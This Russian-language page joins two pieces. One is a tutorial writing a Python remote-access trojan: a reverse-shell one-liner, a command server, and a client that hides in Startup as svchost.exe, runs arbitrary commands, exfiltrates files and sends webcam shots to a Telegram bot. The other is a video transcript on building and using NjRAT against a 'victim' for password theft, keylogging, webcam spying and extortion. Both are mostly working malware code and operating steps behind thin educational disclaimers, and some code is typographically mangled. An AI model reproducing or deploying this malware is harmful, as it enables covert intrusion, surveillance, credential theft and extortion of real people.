Делаем свою крысу. RAT на Python
Чтобы получить контроль над скомпрометированной системой, злоумышленник обычно стремится получить доступ к интерактивной оболочке для выполнения произвольной команды. С таким доступом они могут попытаться повысить свои привилегии, чтобы получить полный контроль над операционной системой. Однако большинство систем находятся за брандмауэрами, и прямые подключения к удаленной оболочке невозможны. Одним из методов, используемых для обхода этого ограничения, является reverse shell.
Reverse Shell (или Reverse TCP, или connect-back, или обратное подключение) — это схема взаимодействия с удалённым компьютером. При её использовании нужно, чтобы атакующий сначала запустил на своей машине сервер, при этом целевая машина будет играть роль клиента, который подключается к этому серверу, после чего атакующий получает доступ к оболочке целевого компьютера.
Основной причиной, по которой злоумышленники часто используют обратные оболочки, является то, как настроено большинство брандмауэров. Атакованные серверы обычно разрешают соединения только через определенные порты. Например, выделенный веб-сервер будет принимать подключения только через порты 80 и 443. Это означает, что на атакованном сервере невозможно установить прослушиватель.
С другой стороны, брандмауэры обычно вообще не ограничивают исходящие соединения. Поэтому злоумышленник может установить сервер на своей машине и создать обратное соединение. Все что нужно – это машина имеющая статический IP-адрес, открытый порт и инструмент, такой как netcat, для создания слушателя и привязки к нему доступа оболочки.
Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.
С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.
Что можно сделать с помощью netcat:
- Сканировать порты;
- Перенаправлять порты;
- Производить сбор баннеров сервисов;
- Слушать порт (биндить для обратного соединения);
- Скачивать и закачивать файлы;
- Выводить содержимое raw HTTP;
Вместо netcat, мы будем использовать собственный клиент-сервер на питоне, но прежде, чем перейдем к написанию такого софта, стоит ознакомится с примера создания reverse shell и их использованием в связке с netcat.
Создать обратные оболочки очень просто, используя разные инструменты и языки. Во-первых, вам нужен слушатель на вашей локальной машине с публичным IP. На компьютере с Linux все, что вам нужно, это следующая команда netcat:
И сам реверс шел на пайтоне:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«IP»,1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’
Внушительный список шелов на разных языках вы можете найти в репозитории гитхаба:
Создание программы
Сервер
Начнем с создания сервера. Нам понадобиться библиотека socket, она уже предустановлена в питоне поэтому никаких других библиотек не понадобится.
Импортируем библиотеки и создаем ключевую переменную:
import socket
import sys
HOST = ‘IP’ # Айпи атакующего (Ваш)
s = socket.socket(socket.AF_INET, sock et.SOCK_STREAM)
Теперь создадим простенькую функцию, в которой будем проверять введен ли порт для прослушивания:
# Проверка был ли введен порт для прослушивания
try:
PORT = int(sys.argv[1])
except Exception as ex:
print(‘Usage: python3 reverse_shell_server.py
Если введена команда python3 reverse_shell_server.py, то мы выведем сообщение о том, что порт не был указан:
Usage: python3 reverse_shell_server.py
Главная функция в которой будет обработчик команд:
def main():
# Ожидание подключения
s.bind((HOST, PORT))
s.listen(10)
print(‘RSBF server listening on port <>. ‘.format(PORT))
# Принятие подключения
conn, _ = s.accept()
# Обработчик команд
while True:
# Переменная с командой
cmd = input(‘RSBF> ‘).rstrip()
# Если команда ничему не равна — продолжаем цикл
if cmd == »:
continue
# Отправляем команды клиенту
conn.send(bytes(cmd, encoding=»utf-8″, errors=»ignore»))
# Останавливаем сервер
if cmd == ‘exitrat’:
s.close()
sys.exit(0)
# Функция загрузки файлов
if cmd == «downloadfile»:
# Имя файла в который будут записаны байты
f = open(«FILENAME», «wb»)
while True:
# Получаем байты
data = conn.recv(4096)
if not data:
break
# Записываем байты в файл
f.write(data)
f.close()
print(‘Done sending\n’)
# Переменная с ответом от сервера
data = conn.recv(4096)
print(str(data, encoding=»utf-8″, errors=»ignore»))
В конце фала пишем это:
if __name__ == ‘__main__’:
main()
Таким образом мы запустим функцию main.
Клиент
Нужные переменные и библиотеки:
import os
import socket
import subprocess
from time import sleep
# Айпи атакующего
HOST = ‘IP’
# PПорт на который клиент будет подключатся
PORT = 9999
Напишем небольшую функцию, которая будет помещать наш скрипт в автозагрузку:
def auto_run():
# Имя скомпилированного файла
filename = «program54.exe»
# Имя пользователя Windows
username = os.getlogin()
# Путь к папке с автозагрузкой
startup = (r’C:/Users/’ + username + r’/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/’)
# Проверка существует ли файл в автозагрузке
if os.path.exists(str(startup + r’svchost.exe’)) == True:
# Отправляем сообщение на сервер
s.send(bytes(«\nRAT already at startup folder\n», encoding=»utf-8″, errors=»ignore»))
else:
os.system(«copy » + filename + » » + ‘»‘ + startup + ‘»‘ + r’svchost.exe’)
# Отправляем сообщение на сервер
s.send(bytes(«\nRAT added at startup folder\n», encoding=»utf-8″, errors=»ignore»))
Если файл уже находится в автозагрузке, то на сервер придет сообщение:
RAT already at startup folder
Если же файл добавился в автозагрузку:
RAT added at startup folder
Функция подключение к серверу:
# Функция подключения
def main():
try:
s.connect((HOST, PORT))
session()
except:
sleep(500)
s.connect((HOST, PORT))
session()
s.connect((HOST, PORT)) – подключает сокет к айпи и порту который мы указали раннее.
session() – запустит функцию которую мы сейчас напишем.
# Обработчик команд
def session():
while True:
data = s.recv(1024)
cmd = str(data, encoding=»utf-8″, errors=»ignore»)
if cmd == ‘shutdownrat’:
s.close()
exit(0)
Основа обработчика готова, теперь нужно добавить команд и исключений к ним же. Команды будут выглядеть следующим образом:
If cmd == ‘название_команды’
Функция которую вы хотите выполнять
s.send(bytes(вывод функции, encoding=”utf-8″, errors=”ignore”))
# AUTORUN
elif cmd == «autorun»:
auto_run()
# CD
elif cmd[:2] == «cd»:
try:
# Отправка аргументов команды в os.chdir
os.chdir(data[3:])
pwd = os.getcwd()
s.send(bytes(pwd, encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:\n» + str(ex) + «\n», encoding=»utf-8″, errors=»ignore»))
# PWD
elif cmd == «pwd»:
try:
# Переменная с текущей директорией
pwd = os.getcwd()
s.send(bytes(pwd, encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:\n» + str(ex) + «\n», encoding=»utf-8″, errors=»ignore»))
Теперь сделаем универсальную функцию которая будет брать команду и выполнять ее, дабы не писать кучу elif:
# Если длина команды > 0, посылаем ее в консоль subprocess
elif len(cmd) > 0:
try:
command = subprocess.Popen(data[:].decode(«utf-8»), shell=True, stdout=subprocess.PIPE,
stdin=subprocess.PIPE, stderr=subprocess.PIPE)
# Переменная с ответом от subprocess
output_byte = command.stdout.read() + command.stderr.read()
# Конвертируем output_byte в строку
output_str = str(output_byte, «utf-8″, errors=»ignore»)
# Отправляем output_str на сервер
s.send(bytes(output_str, encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:\n» + str(ex) + «\n», encoding=»utf-8″, errors=»ignore»))
Функция скачивания файлов:
# GETFILE
elif cmd == «getfile»:
try:
# Имя файла для отправки
file_to_send = «FILENAME»
# Открытие файла
f = open(file_to_send, «rb»)
# Отправка файла
data_to_send = f.read()
s.send(data_to_send)
f.close()
s.send(bytes(«\nFile has been sent\n» + «\n», encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:\n» + str(ex) + «\n», encoding=»utf-8″, errors=»ignore»))
Вместо одного файла вы можете сделать функцию которая соберет все txt файлы на рабочем столе в архив и уже его отправит вам, но я это показывать не буду, вместо этого мы сделаем еще одну команду которая будет POST запросом слать нам фото с вебкамеры в телеграм бота:
from requests import post
try:
camera_port = 0
cap = VideoCapture(camera_port, CAP_DSHOW)
for i in range(30):
cap.read()
ret, frame = cap.read()
imwrite(r»C:\Windows\Temp\screen.png», frame)
cap.release()
destroyAllWindows()
photo = open(r»C:\Windows\Temp\screen.png», ‘rb’)
files = <'document': photo>
post(«https://api.telegram.org/bot» + bot_token + «/sendDocument?chat_id=» + chat_id, files=files)
photo.close()
os.system(r»del C:\Windows\Temp\screen.png»)
except Exception as ex:
s.send(bytes(«Error:\n» + str(ex) + «\n», encoding=»utf-8″, errors=»ignore»))
Ну и в обработчике команд это будет выглядеть следующим образом:
elif cmd == «webcam»:
try:
web_cam()
pwd = os.getcwd()
s.send(bytes(pwd, encoding=»utf-8″, errors=»ignore»))
except Exception as ex:
s.send(bytes(«Error:\n» + str(ex) + «\n», encoding=»utf-8″, errors=»ignore»))
В конце фала пишем это:
if __name__ == ‘__main__’:
main()
Таким образом мы запустим функцию main.
Заключение
Теперь ты знаешь как написать не только хитрый однострочик но и полноценный бэкдор который передоставит управление машиной. Думаю, ты уже ощущаешь невероятную мощь и готов к экспериментам. Желаю удачи с ними!
Вес скомпилированного ехе без управления вебкамерой примерно 9 мегабайт, весь проект вы можете скачать тут:
Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.
Как пользоваться NjRAT? Приколы вируса удаленного доступа
Zip File, мамкины хацкеры. Сегодня мы наконец-то поговорим про ратники. Рассмотрим их основные функции, нюансы открытия портов, варианты решения проблемы с DynDNS и прочие вещи, которые так волнуют начинающих злоумышленников. Оговорочка по Фрейду. Конечно, же безопасников, а не злоумышленников. Ведь именно специалистам, отвечающим за защиту, приходится выявлять крыс на компьютерах в своих больших и малых конторах.
Для тех, кто не в теме, проведу краткий экскурс в историю. Ратники, они же Remote Access Trojan (трояны удаленного доступа) или попросту крысы, применяются хацкерами для получения доступа к ресурсам компьютера. По сути, это вирусные утилиты, разработанные по образу и подобию админских программ для обслуживания по удалёнке. Таких, как RAdmin, TeamViewer, TightVNC и прочие известные всем нам ремотки.
Однако принцип внедрения у ратников несколько отличается от вышеперечисленного софта. Для того, чтобы установить тот же RAdmin, вам, как минимум нужно побывать за компьютером пользователя 1 раз. Либо обладать правами на установку прог по сети. TeamViewer при первом запуске также выдаст рандомный пароль с уникальным ID, а для дальнейшего подключения без участия пользователя потребуется войти под своей учеткой.
В любом случае, ваш доступ к машине будет так или иначе санкционирован. Ратники же, имея под капотом вирусный бэкграунд, требуют от юзверя лишь запустить их единожды. После этого информация о соответствующем ПК отлетит прямиком к злоумышленнику, который в свою очередь сможет распорядиться полученным доступом по своему усмотрению.
Захочет, будет просто тихонечко пялить экран и мастурбировать на скрины с вебки. Либо, сворует все сохранённые пароли от соц. сетей из вашего браузера. А быть может, сольёт рабочую базу с персональными данными. Большая часть сотрудников ведь и по сей день фигачат на удалёнке. А про безопасность домашних компьютеров работодатели, как-то особо и не задумались с первых месяцев пандемии.
Вот и образовалось, что называется свободная касса для всех любителей поживиться чужими данными. На форумах в дарке, эту тему форсят ещё с апреля и на сегодняшний день ситуация мало чем изменилась. Разве что ратников стало больше, чем раньше и продавать их стали за бабки. Причём функционал у них у всех плюс-минус одинаковый, а отличаются они лишь графической оболочкой.
В данном уроке, я продемонстрирую вам наиболее популярный ратник NjRAT. Он имеет самое большое количество скачиваний на гитхабе, поэтому очень надеюсь, что комментариев типа «ааа вирус нам скидываешь» не будет. Ведь я не заливаю данный ратник в телегу, а показываю, где его может скачать потенциальный злоумышленник и каким образом использовать для своих целей. Если интересно, устраивайтесь по удобней и приступим к созданию крыски. Погнали.
Шаг 1. Заходим на гитхаб и загружаем архив с NjRAT’ом.
Шаг 2. Распаковываем Zip File и внутри созданного каталога ищем папочку Moded, а в ней файл ратника.
Шаг 3. Запускаем его и прописываем порт, который нам нужно будет открыть на роутере. Надеюсь, что не нужно объяснять то, что он же, должен быть добавлен в исключения вашего брандмауэра. Хотя лично я, всегда вырубаю последний, дабы не выносить себе, и без того утомлённый мозг, этим вопросом. А по поводу проброса портов, у меня на канале есть чудеснейший видос про RDP. Там суть один в один, поэтому растягивать данный ролик по времени разжёвываю эту тему, я тут не буду. Кто не шарит, переходите и смотрите по ссылке в подсказке.
Шаг 4. Ну а мы жмём Start и попадаем в основное окно программы. Тут нас интересует только одна кнопка – «Builder». После нажатия на неё, запускается меню конфигурирования EXE’шки клиента, которая, по сути, и является вирусом. Давайте настроим всё по порядку. В пункте Hostзадаём наш белый IP’шник. Я миллион раз повторял в своих видео, что если вы хотите заниматься изучением администрирования или безопасности на постоянной основе, то обзавестись белым IPу провайдера нужно в обязательном порядке. Далее у нас порт, открываемый на роутере. Чуть ниже имя жертвы. Маскировка под определённый процесс. Обычно злоумышленники маскируют ратник под какую-нибудь системную службу, аля служба печати или диспетчер задач. Ну а справа у нас дополнительные параметры вируса. BSODпри попытке закрытия, копирование в автозагрузку, запись в реестре, распространение по USB в случае подключения носителя к ПК и прочие прелести. В более продвинутых ратниках ещё встречается функция изменения иконки, FUD-крипт и т.д. Ниже размер логов. Пусть будет 512. В принципе, всё. Кликаем «Build» для создания файла.
Шаг 5. Указываем имя и месторасположения. Я назову RAT, однако ясен-красен, что для распространения такое имя уж точно не годится и вы никогда не встретите подобную EXE’шку в чистом виде. По поводу максировки вирусов в меня на канале также есть пару занятных роликов. Ссылка на один из них непременно всплывёт в подсказке.
Шаг 6. Окей. Запускаем файл на компьютере жертвы.
Шаг 7. И вернувшись на свой ПК проверяем статус подключения. Комп подключился, а значит наш вирус уже в системе, и мы можем начинать кошмарить её по полной программе. Для этого достаточно вызвать контекстное меню функций и выбрать наиболее подходящий нам вариант.
Шаг 8. Давайте рассмотрим всё по порядку. Первый пункт Manager предоставляет нам доступ к файлам на дисках, открывает менеджер процессов, в котором мы можем выключить ту или иную задачу, а также посмотреть текущие соединения и поковыряться в регистре.
Шаг 9. Функция «Run File» позволяет запустить любой файл с диска или по внешней ссылке. Давайте я для примера продемонстрирую жертве пикчу носков.
Шаг 10. Указываем путь к картинке. И затем проверяем результат на клиенте.
Шаг 11. Всё отрабатывает. Теперь давайте затестим удалённый рабочий стол. Подключившись с его помощью можно не только смотреть за происходящим, но также, как и в любой популярной удалёнке управлять мышкой, клавой и делать скриншоты.
Шаг 12. Про вебку и микрофон думаю объяснять не нужно. Это, пожалуй, одни из самых полезных функций для злоумышленников, живущих за счёт продажи компромата в даркнете.
Шаг 13. Хотя, как по мне, большинству хацкеров ничуть не меньше зайдёт функция «Get Passwords». Она вытаскивает все сохранённые пассы из браузеров. Т.к. у меня это виртуалка, соответственно тут данный список девственен и чист.
Шаг 14. Далее по списку у нас старый добрый кейлоггер. Он перехватывает все нажатия клавиш пользователя. От набивки текста унылейшей курсовой, до пароля в vk.
Шаг 15. А затем сейвит их в отдельный RTF’овский файл, который складывается в папку пользователя, рядом с TXT’шкой пассвордов.
Шаг 16. Ну и самое весёлое – это, конечно же, чат с жертвой. Вы можете пообщаться с беднягой, пообещав удалить троянчик с компьютера за пару сотен пиастров.
Шаг 17. И в случае удачной сделки, даже сдержать своё слово, мочканув вредонос удалённо.
И вроде бы, с первого взгляда, всё круто, однако, не стоит забывать о подводных камнях. Во-первых, для того, чтобы всё завелось, на компьютере жертвы должен быть либо отключён автивирус. Либо ваш EXE-файл должен быть прокриптован. Во-вторых, на сегодняшний день, львиная доля членов нашего братства, жидится потратить сотку на белый IP и тем самым добавляет себе гемороя с пробросом портов.
Да, чисто теоретически можно попробовать воспользоваться популярным сторонним сервисом No-IP и с помощью технологии DynDNS забацать себе псевдо-белку. Также у некоторых именитых сетевых вендеров есть свои собственные, бесплатные сервисы для этой истории. Например, у тех же ASUS данная фича прекрасно работает из коробки. Однако, никакой дин вам не поможет, если ваш гавно-провайдер по экономическим соображениям экономит пул, и посадив клиентов за NAT, раздаёт, что называется «many to one».
В этом случае, вам поможет только белый IP или VPN. Либо, если у вас есть собственный Web-сайт, можно попробовать поизголяться с online-ратниками. Они хоть и менее функциональны, зато не требуют открытия портов. Следующий ролик у нас, как раз, будет по этой теме. Так что, если ты, друг мой, впервые забрёл на канал и ещё не оформил подписку, сейчас самое время. Клацай на колокол и в твоей ленте будут регулярно появляться годнейшие видосы по вирусологии, этичному хакингу и пентестингу.
С олдов жду лайки и конечно же комментарии по поводу того, какие ратники вы используете в своих обучающих целях. На сегодняшний день их развелось просто офигеть, как много, поэтому давайте посредством народного голосования выберем лучший. Хотя я почти на 100% уверен, что лидером окажется Putin RAT, но всё же давайте ради приличия немножко поиграем в иллюзию демократии. Напоследок, традиционно, желаю всем удачи, успеха и самое главное, безопасной работы.
Берегите себя и свои тачки. Не допускайте крыс в свою ОСь. Самый лучший способ для этого раз и навсегда перейти на Linux и больше никогда не вспоминать об EXE-файлах. Ну а с вами, как обычно, был Денчик. Искренне благодарю за просмотр. До новых встреч, камрады. Всем пока.